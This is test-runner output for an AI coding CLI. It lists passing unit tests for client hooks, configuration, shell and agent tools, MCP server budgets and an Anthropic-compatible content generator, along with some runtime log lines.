✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > gives a blocking Stop hook continuation a fresh per-turn tool-call budget 1181ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > emits one active_goal null when the blocking cap aborts an active goal 1147ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > should not skip hooks when hasHooksForEvent returns true 1124ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > passes a non-empty submitted prompt for UserQuery hooks 1113ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > wraps injected additionalContext in the reserved tag and records display provenance 1195ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > uses the pre-injection prompt for managed auto-memory recall 1173ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > uses the pre-injection prompt for telemetry user-prompt attributes 1162ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > omits submitted prompt for 'empty UserQuery value' 1299ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > omits submitted prompt for 'whitespace-only UserQuery value' 1481ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > omits submitted prompt for 'invalid UserQuery value' 1164ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > omits submitted prompt for 'non-user ToolResult value' 1220ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > omits submitted prompt for 'non-user Hook value' 1146ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > clears submitted prompt before a Steer continuation 1247ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > does not run UserPromptSubmit hooks for same-turn steer input 1170ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > consumes steer input before running Stop hooks 1217ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > consumes input queued during a blocking Stop hook before its continuation 1257ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > preserves goal feedback alongside an external stop reason 1214ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > stops a blocking goal when queued input clears it 1198ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > replaces a blocking goal without sending the old continuation 1297ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > preserves other blocking Stop hook output when a goal is cleared 1290ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > uses input queued during next-speaker classification for the continuation 1288ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > does not drain steer input without another model-turn budget 1324ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > restores steer input when the continuation fails before history accepts it 1225ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > settles an attached ToolResult steer only after history accepts it 1320ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > settles an attached steer before content events reach the consumer 1241ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > restores an attached ToolResult steer when history never accepts it 1222ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > restores an attached ToolResult steer when UserPromptSubmit blocks it 1287ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > forwards steerInput through the Steer continuation for early settling 1269ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > forwards steerInput through the Hook continuation for early settling 1296ms
✓ Gemini Client (client.ts) > sendMessageStream > attribution snapshot persistence > records a snapshot on ToolResult turns so post-tool state is captured 1273ms
✓ Gemini Client (client.ts) > sendMessageStream > attribution snapshot persistence > records a snapshot on UserQuery turns 1288ms
✓ Gemini Client (client.ts) > sendMessageStream > attribution snapshot persistence > does not record a snapshot on Retry turns 1331ms
✓ Gemini Client (client.ts) > sendMessageStream > file history snapshot persistence > calls makeSnapshot for UserQuery turns 1342ms
✓ Gemini Client (client.ts) > sendMessageStream > file history snapshot persistence > records the latest snapshot after a UserQuery snapshot 1376ms
✓ Gemini Client (client.ts) > sendMessageStream > file history snapshot persistence > does not call makeSnapshot for ToolResult and Retry turns 1327ms
✓ Gemini Client (client.ts) > sendMessageStream > file history snapshot persistence > swallows makeSnapshot rejection and still yields content 1350ms
✓ Gemini Client (client.ts) > sendMessageStream > file history snapshot persistence > swallows recordFileHistorySnapshot errors and still yields content 1402ms
✓ Gemini Client (client.ts) > generateContent > filters unsupported media for the resolved target model 1347ms
✓ Gemini Client (client.ts) > generateContent > should call generateContent with the correct parameters 1399ms
✓ Gemini Client (client.ts) > generateContent > forwards configured retryErrorCodes to retryWithBackoff 1348ms
✓ Gemini Client (client.ts) > generateContent > should use current model from config for content generation 1370ms
✓ Gemini Client (client.ts) > generateContent > should prefer the current prompt id context for stateless requests 1344ms
✓ Gemini Client (client.ts) > generateContent > should prefer an explicit prompt id override over the current context 1278ms
✓ Gemini Client (client.ts) > generateContent > appends the auto-memory section to a per-call systemInstruction override 1334ms
✓ Gemini Client (client.ts) > generateContent > includes context and auto-memory but omits appendPrompt/gitStatus in the per-call systemInstruction branch 1351ms
✓ Gemini Client (client.ts) > generateContent > should use config system prompt override when provided 1303ms
✓ Gemini Client (client.ts) > generateContent > should append config appendSystemPrompt to the core system prompt 1353ms
✓ Gemini Client (client.ts) > generateContent > should pass interactive mode to the core system prompt 1313ms
✓ Gemini Client (client.ts) > generateContent > should pass acp mode to the core system prompt 1343ms
✓ Gemini Client (client.ts) > generateContent > should pass headless mode to the core system prompt 1308ms
✓ Gemini Client (client.ts) > generateContent > should append config appendSystemPrompt after a config system prompt override 1302ms
✓ Gemini Client (client.ts) > generateContent > caches git status across repeated system instruction generation 1358ms
✓ Gemini Client (client.ts) > generateContent > sets a generic span status when content generation fails 1316ms
✓ Gemini Client (client.ts) > generateContent > propagates error when content generation is aborted 1369ms
✓ Gemini Client (client.ts) > generateContent with fast model > should resolve per-model config and fall back when createContentGenerator fails 1337ms
✓ Gemini Client (client.ts) > generateContent with fast model > should use a dedicated content generator for the fast model on success 1373ms
✓ Gemini Client (client.ts) > generateContent with fast model > should use the main content generator when the requested model matches the main model 1385ms
✓ Gemini Client (client.ts) > generateContent with fast model > should fall back to main generator when model is not in registry 1332ms
✓ Gemini Client (client.ts) > generateContent with fast model > should use fast model authType for retry, not main model authType 1390ms
✓ Gemini Client (client.ts) > generateContent with fast model > should cache per-model content generators 1333ms
✓ Gemini Client (client.ts) > generateContent with fast model > should resolve model across authTypes when main authType misses 1397ms
✓ Gemini Client (client.ts) > generateContent with fast model > should clear per-model generator cache on resetChat 1375ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > first drain without snapshot seed announces all entries as new 1406ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > first drain with snapshot seed emits nothing for seeded entries 1431ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > drain with a genuinely new skill emits a reminder 1363ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > drain with no new skills after seed emits nothing 1460ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > removed skill prunes its key so re-adding re-announces 1433ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > removed skill emits a reminder 1433ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > path-activated skill is announced by drain (no suppression based on shared activation set) 1378ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > path-activated skill re-announces after disable/re-enable 1445ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > returns early when Skill tool is not registered 1421ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > returns early and logs when collectAvailableSkillEntries throws 1412ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > command entries use cmd: key prefix and are not suppressed by activatedConditional 1480ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > command entry prunes and re-announces correctly 1410ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > seedSkillReminderDedupFromSnapshot seeds from provided entries 1457ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > seedSkillReminderDedupFromSnapshot with empty entries resets state 1412ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > inline-announced skills consumed from config are not re-announced by drain 1462ms
✓ Gemini Client (client.ts) > drainSkillAndCommandReminders > inline-announced does not suppress genuinely new skills 1411ms
✓ Gemini Client (client.ts) > #5147 shutdown gate > skips background memory tasks after shutdown is requested 1478ms
✓ Gemini Client (client.ts) > #5147 shutdown gate > is idempotent when called multiple times 1433ms
✓ Gemini Client (client.ts) > drainAgentReminders > returns early when the Agent tool is not registered 1498ms
✓ Gemini Client (client.ts) > drainAgentReminders > seeds current agents on first drain without emitting a reminder 1428ms
✓ Gemini Client (client.ts) > drainAgentReminders > returns early when listing agents fails 1441ms
✓ Gemini Client (client.ts) > drainAgentReminders > emits no reminder when agents are unchanged 1528ms
✓ Gemini Client (client.ts) > drainAgentReminders > announces added-only agents 1468ms
✓ Gemini Client (client.ts) > drainAgentReminders > announces removed-only agents 2470ms
✓ Gemini Client (client.ts) > drainAgentReminders > announces added and removed agents 1458ms
✓ Gemini Client (client.ts) > drainAgentReminders > keeps agent reminder state unchanged if history append fails 1508ms
✓ src/config/config.test.ts (500 tests) 34462ms
✓ Server Config (config.ts) > project-dir registry lifecycle > drops its session entry on shutdown — no daemon leak 4058ms
✓ Server Config (config.ts) > wires file history snapshot updates to chat recording 386ms
✓ Server Config (config.ts) > MCP hot-reload (sub-task 3) > rethrows a failed reconcile and resets the in-progress guard so the next call still runs 814ms
✓ Server Config (config.ts) > MemoryPressure configuration environment > applies valid memory pressure env overrides 419ms
✓ Server Config (config.ts) > MemoryPressure configuration environment > falls back to defaults and warns on strict env parse failures 444ms
✓ Server Config (config.ts) > MemoryPressure configuration environment > explicit GC is enabled by default 543ms
✓ Server Config (config.ts) > initialize > releases a pending lease while a real baseline read is gated 466ms
✓ Server Config (config.ts) > refreshHierarchicalMemory should include appended auto-memory in the context warning estimate 318ms
✓ Server Config (config.ts) > createToolRegistry > registers web_search when enabled with a usable env-declared backend 539ms
✓ src/tools/shell.test.ts (287 tests) 51333ms
✓ ShellTool > build > should return an invocation for a valid command 1692ms
✓ ShellTool > execute > simulated sed edit > falls back to shell execution for sed backup suffixes 1625ms
✓ ShellTool > execute > simulated sed edit > falls back to shell execution for background sed commands 432ms
✓ ShellTool > execute > Streaming to `updateOutput` > schedules the warning against the real timeout clock 317ms
✓ ShellTool > execute > Streaming to `updateOutput` > should not show the Ctrl+B warning outside interactive mode 341ms
✓ ShellTool > execute > does not report exit 1 from test -f missing as a tool error 317ms
✓ ShellTool > execute > does not report exit 1 from [ -f missing ] as a tool error 443ms
✓ ShellTool > execute > addCoAuthorToGitCommit > should add co-author to git commit with double quotes 563ms
✓ ShellTool > execute > addCoAuthorToGitCommit > should add co-author when git commit is wrapped in env -u NAME 312ms
✓ ShellTool > execute > addCoAuthorToGitCommit > should not be fooled by a literal -m token inside the quoted message body 303ms
✓ ShellTool > execute > addCoAuthorToGitCommit > should NOT rewrite -m bodies that contain $(...) command substitution 305ms
✓ ShellTool > execute > addCoAuthorToGitCommit > should add co-author for git commit --message "..." 348ms
✓ ShellTool > execute > addCoAuthorToGitCommit > should add co-author when git commit is prefixed with sudo 301ms
✓ ShellTool > execute > addCoAuthorToGitCommit > should add co-author to git commit with multi-line message 307ms
✓ ShellTool > execute > addCoAuthorToGitCommit > should add co-author to git commit -m"msg" shorthand (no space) 310ms
✓ ShellTool > execute > addCoAuthorToGitCommit > should escape shell metacharacters in name/email 334ms
✓ ShellTool > getDefaultPermission and getConfirmationDetails > should not request confirmation for read-only commands 339ms
✓ ShellTool > getDefaultPermission and getConfirmationDetails > asks (not allow) for env-prefix substitution inside a bash wrapper 616ms
✓ ShellTool > getDefaultPermission and getConfirmationDetails > asks for backtick env-prefix substitution inside a bash wrapper 326ms
✓ ShellTool > getDefaultPermission and getConfirmationDetails > should exclude read-only sub-commands from confirmation details in compound commands 336ms
✓ ShellTool > getDefaultPermission and getConfirmationDetails > should not surface file descriptor redirects as standalone commands in confirmation details 336ms
✓ ShellTool > getDefaultPermission and getConfirmationDetails > should exclude already-allowed sub-commands from confirmation details in compound commands 407ms
Preparing worktree (new branch 'review-pr-1')
Preparing worktree (new branch 'review-pr-1')
Preparing worktree (new branch 'review-pr-1')
Preparing worktree (new branch 'review-pr-1')
Preparing worktree (detached HEAD b078c8d)
Preparing worktree (new branch 'review-pr-1')
Preparing worktree (new branch 'review-pr-1')
Preparing worktree (new branch 'review-pr-1')
✓ src/tools/agent/agent.test.ts (250 tests) 44634ms
✓ AgentTool > validateToolParams > rejects plan_mode_required when no team is active 406ms
✓ AgentTool > isolation — round-7 parent-dirty guard > refuses isolation when parent has uncommitted edits 2336ms
✓ AgentTool > isolation — round-7 parent-dirty guard > would allow isolation when parent is clean (sanity) 947ms
✓ AgentTool > AgentToolInvocation > should execute subagent successfully 343ms
✓ AgentTool > AgentToolInvocation > allows working_dir for a background:true subagent that downgrades to foreground when nested 455ms
✓ AgentTool > AgentToolInvocation > passes custom ignore files into worktree isolation file service 3029ms
✓ AgentTool > AgentToolInvocation > pins the sub-agent to a caller-owned worktree via working_dir and leaves it in place 1900ms
✓ AgentTool > AgentToolInvocation > executes a review agent when strict providers send working_dir and isolation together 1948ms
✓ AgentTool > AgentToolInvocation > keeps a working_dir launch in the foreground when the flag is omitted 1904ms
✓ AgentTool > AgentToolInvocation > rejects working_dir that is not a registered worktree of this repo 1222ms
✓ AgentTool > AgentToolInvocation > resolves a repo-relative working_dir against the parent cwd (the /review production form) 1887ms
✓ AgentTool > AgentToolInvocation > rejects working_dir pointing at the repository main working tree 1173ms
✓ AgentTool > AgentToolInvocation > rejects working_dir when the parent directory is not a git repository 355ms
✓ AgentTool > AgentToolInvocation > accepts a registered worktree in detached HEAD state (no branch) 1861ms
✓ AgentTool > AgentToolInvocation > leaves the caller-owned worktree in place when the sub-agent fails 2564ms
✓ AgentTool > AgentToolInvocation > re-anchors validation at the repo root when launched from a monorepo subdirectory 2066ms
✓ AgentTool > AgentToolInvocation > resolves a repo-relative working_dir against the subdirectory cwd, not the repo root (monorepo) 1946ms
✓ AgentTool > Fork dispatch (subagent_type: "fork") > resolves a project fork profile into the existing execution gate and task prompt 767ms
✓ AgentTool > Fork dispatch (subagent_type: "fork") > preserves a deny-all profile through invocation and execution 314ms
✓ AgentTool > Agent-level background: true > does not retain an agent whose frontmatter hooks are globally registered 797ms
✓ src/core/openaiContentGenerator/converter.test.ts (214 tests) 3224ms
✓ src/core/openaiContentGenerator/pipeline.test.ts (124 tests) 6643ms
✓ ContentGenerationPipeline > execute > should successfully execute non-streaming request 307ms
✓ ContentGenerationPipeline > execute > handles the retry error when required-thinking retry fails 541ms
qwen serve: MCP server 'c' refused (budget exhausted, budget=2, mode=enforce)
qwen serve: MCP server 'd' refused (budget exhausted, budget=2, mode=enforce)
qwen serve: MCP server 'mike' refused (budget exhausted, budget=2, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: ignoring invalid QWEN_SERVE_MCP_CLIENT_BUDGET='-3' (expected positive integer); MCP budget enforcement disabled for this child.
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: QWEN_SERVE_MCP_BUDGET_MODE=enforce requires QWEN_SERVE_MCP_CLIENT_BUDGET=N; downgrading to off. Set both env vars to enable MCP guardrail enforcement.
qwen serve: MCP server 'third' refused (budget exhausted, budget=2, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: QWEN_SERVE_MCP_BUDGET_MODE=warn requires QWEN_SERVE_MCP_CLIENT_BUDGET=N; downgrading to off. Set both env vars to enable MCP guardrail enforcement.
qwen serve: McpClientManager constructed with budgetMode=enforce but no clientBudget; downgrading to off.
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'c' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'c' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'd' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'e' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'b' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'c' refused (budget exhausted, budget=1, mode=enforce)
qwen serve: MCP server 'd' refused (budget exhausted, budget=1, mode=enforce)
✓ src/tools/mcp-client-manager.test.ts (117 tests) 7440ms
✓ src/core/anthropicContentGenerator/anthropicContentGenerator.test.ts (116 tests) 62808ms
✓ AnthropicContentGenerator > uses claude-cli identity (User-Agent + x-app + Bearer auth) for non-Anthropic baseURLs 4065ms
✓ AnthropicContentGenerator > uses QwenCode identity + apiKey auth when baseURL is api.anthropic.com 597ms
✓ AnthropicContentGenerator > treats unset baseURL as Anthropic-native (SDK default targets api.anthropic.com) 516ms
✓ AnthropicContentGenerator > disables the request timeout when configured to 0 902ms
✓ AnthropicContentGenerator > falls back to the default request timeout when unset 559ms
✓ AnthropicContentGenerator > treats *.anthropic.com subdomains as Anthropic-native 497ms
✓ AnthropicContentGenerator > treats malformed baseURL as proxy (URL parse failure falls through to claude-cli identity) 514ms
✓ AnthropicContentGenerator > pins DeepSeek anthropic-compatible baseURL onto the proxy auth/identity path 559ms
✓ AnthropicContentGenerator > trims whitespace on config.baseUrl before classification 484ms
✓ AnthropicContentGenerator > does not match spoofed anthropic.com.evil.com hostnames 550ms
✓ AnthropicContentGenerator > env back-fill suppression and baseURL env resolution > suppresses ANTHROPIC_API_KEY back-fill on the proxy branch (prevents credential leak) 606ms
✓ AnthropicContentGenerator > env back-fill suppression and baseURL env resolution > suppresses ANTHROPIC_AUTH_TOKEN back-fill on the Anthropic-native branch 572ms
✓ AnthropicContentGenerator > env back-fill suppression and baseURL env resolution > applies proxy identity when ANTHROPIC_BASE_URL env points to a proxy and config.baseUrl is unset 532ms
✓ AnthropicContentGenerator > env back-fill suppression and baseURL env resolution > keeps Anthropic-native identity when ANTHROPIC_BASE_URL is unset (SDK default applies) 535ms
✓ AnthropicContentGenerator > env back-fill suppression and baseURL env resolution > config.baseUrl wins over ANTHROPIC_BASE_URL when both are set 487ms
✓ AnthropicContentGenerator > merges customHeaders into defaultHeaders (does not replace defaults) 484ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > sends interleaved-thinking + effort beta when both are present in the body 650ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > sends only interleaved-thinking when effort is not set 484ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > sends only prompt-caching-scope when reasoning is disabled (no thinking, no effort) 484ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > drops the prompt-caching-scope beta when enableCacheControl is false 526ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > drops only the cache-scope beta when enableCacheControl is false but reasoning is on 487ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > reflects hot enableCacheControl flips between requests (no stale converter cache) 667ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > suppresses the cache-scope beta when the body has no scope field (empty system + no tools) 496ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > ships the cache-scope beta when only tools (no systemInstruction) carry scope:"global" 488ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > strips the cache-scope beta and scope:"global" field on non-Anthropic baseURLs 494ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > emits scope:"global" on non-Anthropic baseURLs when forceGlobalCacheScope is true (#6642) 476ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > splits the system prompt at the Config-recorded static prefix (4-breakpoint layout) 468ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > suppresses scope:"global" when enableCacheControl is false even with forceGlobalCacheScope 509ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > merges user-supplied customHeaders[anthropic-beta] with computed flags (no overwrite) 507ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > passes user-supplied customHeaders[anthropic-beta] through even when no thinking/effort is enabled 497ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > does not leak customHeaders[anthropic-beta] (any casing) into defaultHeaders 464ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > honors customHeaders[anthropic-beta] under mixed-case keys (Anthropic-Beta / ANTHROPIC-BETA) 496ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > dedupes beta flags so duplicates from customHeaders are not repeated 474ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > sends only prompt-caching-scope when per-request thinkingConfig.includeThoughts=false 464ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > keeps customHeaders + User-Agent in defaultHeaders while sending computed anthropic-beta per-request 481ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > also sends the computed beta header on streaming requests 679ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > sends extended-cache-ttl-2025-04-11 when cacheRetention is "1h" 474ms
✓ AnthropicContentGenerator > per-request anthropic-beta header > omits extended-cache-ttl-2025-04-11 when cacheRetention is unset (ephemeral default) 440ms
✓ AnthropicContentGenerator > generateContent > redacts proxy credentials from request-time SDK errors 958ms
✓ AnthropicContentGenerator > generateContent > does not leak abort listeners onto the caller signal across non-streaming requests 566ms
✓ AnthropicContentGenerator > generateContent > propagates a caller abort to the per-request child signal 533ms
✓ AnthropicContentGenerator > generateContent > builds request with config sampling params (config overrides request; max_tokens takes the smaller) and thinking budget 544ms
✓ AnthropicContentGenerator > generateContent > caps an effort-derived thinking budget with the request budget 465ms
✓ AnthropicContentGenerator > generateContent > passes effort: 'max' through to output_config and bumps thinking budget 476ms
✓ AnthropicContentGenerator > generateContent > lifts effort: 'low'/'medium' to 'high' on the DeepSeek anthropic path 493ms
✓ AnthropicContentGenerator > generateContent > still clamps effort: 'max' when model name says 'deepseek' but hostname is api.anthropic.com 486ms
✓ AnthropicContentGenerator > generateContent > clamps effort: 'max' to 'high' on a non-DeepSeek anthropic provider 500ms
✓ AnthropicContentGenerator > generateContent > passes effort: 'max' through on Opus 4.8 (native support) 493ms
✓ AnthropicContentGenerator > generateContent > passes effort: 'xhigh' through on Opus 4.8 (native support) 535ms
✓ AnthropicContentGenerator > generateContent > omits temperature on Opus 4.8 (deprecated) 509ms
✓ AnthropicContentGenerator > generateContent > keeps temperature on Opus 4.7 (still accepted) 528ms
✓ AnthropicContentGenerator > generateContent > omits temperature on Sonnet 5 (5.x family, deprecated) 486ms
✓ AnthropicContentGenerator > generateContent > keeps temperature on unknown/unversioned model id 459ms
✓ AnthropicContentGenerator > generateContent > clamps effort: 'xhigh' to 'max' on Opus 4.6 (has max, lacks xhigh) 471ms
✓ AnthropicContentGenerator > generateContent > clamps effort: 'max' to 'high' on Opus 4.5 (lacks xhigh/max) 455ms
✓ AnthropicContentGenerator > generateContent > clamps effort: 'max' to 'high' on dated Opus 4.0 (date suffix is not a minor version) 519ms
✓ AnthropicContentGenerator > generateContent > passes effort: 'xhigh' through on a reseller-prefixed Opus 4.7 (bedrock/…) 470ms
✓ AnthropicContentGenerator > generateContent > passes effort: 'max' through on a 5.x family model (claude-sonnet-5-0) 472ms
✓ AnthropicContentGenerator > generateContent > clamps effort: 'max' to 'high' on claude-haiku-4-6 (haiku 4.x lacks max) 502ms
✓ AnthropicContentGenerator > generateContent > preserves explicit budget_tokens even when effort: 'max' is clamped 479ms
✓ AnthropicContentGenerator > generateContent > adaptive thinking (Claude 4.6+ models) > selects adaptive for claude-opus-4-6 / sonnet-4-6 / opus-4-7 509ms
✓ AnthropicContentGenerator > generateContent > adaptive thinking (Claude 4.6+ models) > selects adaptive for claude-haiku-4-6 (haiku family is in scope) 992ms
✓ AnthropicContentGenerator > generateContent > adaptive thinking (Claude 4.6+ models) > selects adaptive for two-digit minors like claude-opus-4-10 493ms
✓ AnthropicContentGenerator > generateContent > adaptive thinking (Claude 4.6+ models) > selects adaptive for a future major like claude-opus-5-1 455ms
✓ AnthropicContentGenerator > generateContent > adaptive thinking (Claude 4.6+ models) > keeps the budget_tokens config for older 4.x models (e.g. claude-opus-4-5) 461ms
✓ AnthropicContentGenerator > generateContent > adaptive thinking (Claude 4.6+ models) > never sets display on the budget_tokens shape (pre-4.6 models and the explicit-override escape hatch) 533ms
✓ AnthropicContentGenerator > generateContent > adaptive thinking (Claude 4.6+ models) > keeps the budget path for dated Opus 4.0 (claude-opus-4-20250514, date suffix is not a minor) 477ms
✓ AnthropicContentGenerator > generateContent > adaptive thinking (Claude 4.6+ models) > honors explicit reasoning.budget_tokens on models that still accept manual thinking (e.g. claude-opus-4-6) 475ms
✓ AnthropicContentGenerator > generateContent > adaptive thinking (Claude 4.6+ models) > drops manual budget_tokens for adaptive-only models that reject it (e.g. claude-opus-4-7) 471ms
✓ AnthropicContentGenerator > generateContent > adaptive thinking (Claude 4.6+ models) > still ships adaptive (no output_config, no effort beta) when reasoning is undefined on a 4.6+ model 514ms
✓ AnthropicContentGenerator > generateContent > assistant-turn prefill stripping (generator wiring) > strips a trailing assistant turn and appends a synthetic user turn on claude-opus-4-6 494ms
✓ AnthropicContentGenerator > generateContent > assistant-turn prefill stripping (generator wiring) > leaves a trailing assistant turn untouched on claude-opus-4-5 (pre-4.6) 482ms
✓ AnthropicContentGenerator > generateContent > omits thinking when request.config.thinkingConfig.includeThoughts is false 483ms
✓ AnthropicContentGenerator > generateContent > output token limits > caps configured samplingParams.max_tokens to model output limit 470ms
✓ AnthropicContentGenerator > generateContent > output token limits > caps request.config.maxOutputTokens to model output limit when config max_tokens is missing 446ms
✓ AnthropicContentGenerator > generateContent > output token limits > uses model default when max_tokens is not explicitly configured 461ms
✓ AnthropicContentGenerator > generateContent > output token limits > ignores malformed QWEN_CODE_MAX_OUTPUT_TOKENS values 492ms
✓ AnthropicContentGenerator > generateContent > output token limits > respects a valid QWEN_CODE_MAX_OUTPUT_TOKENS value 446ms
✓ AnthropicContentGenerator > generateContent > output token limits > respects configured max_tokens for unknown models 454ms
✓ AnthropicContentGenerator > generateContent > output token limits > treats null maxOutputTokens as not configured 513ms
✓ AnthropicContentGenerator > Anthropic-compatible proxy thinking history > drops unsigned thinking for Claude 4.6 through a non-native proxy 462ms
✓ AnthropicContentGenerator > Anthropic-compatible proxy thinking history > does not rewrite unsigned history for the native Anthropic API 460ms
✓ AnthropicContentGenerator > Anthropic-compatible proxy thinking history > fails before sending an unsigned tool-use turn through a proxy 736ms
✓ AnthropicContentGenerator > DeepSeek anthropic-compatible provider > injects empty thinking blocks on tool-use assistant turns when baseUrl is api.deepseek.com 503ms
✓ AnthropicContentGenerator > DeepSeek anthropic-compatible provider > detects deepseek by model name even when baseUrl is different 437ms
✓ AnthropicContentGenerator > DeepSeek anthropic-compatible provider > matches regional DeepSeek subdomains (e.g. us.api.deepseek.com) 454ms
✓ AnthropicContentGenerator > DeepSeek anthropic-compatible provider > does not inject empty thinking blocks for non-deepseek providers 486ms
✓ AnthropicContentGenerator > DeepSeek anthropic-compatible provider > does not match spoofed hostnames like api.deepseek.com.evil.com 486ms
✓ AnthropicContentGenerator > DeepSeek anthropic-compatible provider > does not inject when reasoning is explicitly disabled 465ms
✓ AnthropicContentGenerator > DeepSeek anthropic-compatible provider > strips real thought parts from assistant history when reasoning is disabled 453ms
✓ AnthropicContentGenerator > DeepSeek anthropic-compatible provider > reflects runtime model changes (no stale provider cache) 524ms
✓ AnthropicContentGenerator > DeepSeek anthropic-compatible provider > does not inject when request sets thinkingConfig.includeThoughts=false 501ms
✓ AnthropicContentGenerator > countTokens > counts tokens using the request tokenizer 492ms
✓ AnthropicContentGenerator > countTokens > falls back to character approximation when tokenizer throws 535ms
✓ AnthropicContentGenerator > generateContentStream > emits tool preparation metadata before the complete function call 553ms
✓ AnthropicContentGenerator > generateContentStream > emits preparations before both function calls in a multi-tool stream 496ms
✓ AnthropicContentGenerator > generateContentStream > does not emit tool preparation metadata when 'id is missing' 476ms
✓ AnthropicContentGenerator > generateContentStream > does not emit tool preparation metadata when 'name is missing' 443ms
✓ AnthropicContentGenerator > generateContentStream > does not emit tool preparation metadata when 'id is empty' 441ms
✓ AnthropicContentGenerator > generateContentStream > does not emit tool preparation metadata when 'name is empty' 448ms
✓ AnthropicContentGenerator > generateContentStream > does not emit tool preparation metadata when 'id is not a string' 448ms
✓ AnthropicContentGenerator > generateContentStream > does not emit tool preparation metadata when 'name is not a string' 430ms
✓ AnthropicContentGenerator > generateContentStream > redacts proxy credentials from stream creation errors 452ms
✓ AnthropicContentGenerator > generateContentStream > does not leak abort listeners onto the caller signal across streamed requests 488ms
✓ AnthropicContentGenerator > generateContentStream > redacts proxy credentials from stream iteration errors 526ms
✓ AnthropicContentGenerator > generateContentStream > preserves message_start usage when the stream fails after content 488ms
✓ AnthropicContentGenerator > generateContentStream > requests stream=true and converts streamed events into Gemini chunks 499ms
